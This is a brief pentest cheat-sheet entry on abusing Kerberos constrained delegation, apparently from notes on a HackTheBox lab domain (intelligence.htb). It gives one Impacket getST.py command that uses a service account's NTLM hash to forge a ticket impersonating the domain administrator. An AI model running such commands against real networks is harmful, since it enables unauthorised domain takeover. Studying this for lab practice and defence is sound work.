Delegation

Constrained Delegation

• With this ability the user has control over the object, if this is a DC that includes impersonating admins

• Grab the ticket and impersonate that admin!

getST.py -dc-ip 10.10.10.248 -spn www/dc.intelligence.htb -hashes :67065141d298d67a17ee8626476b20f9 -impersonate administrator intelligence.htb/svc_int\\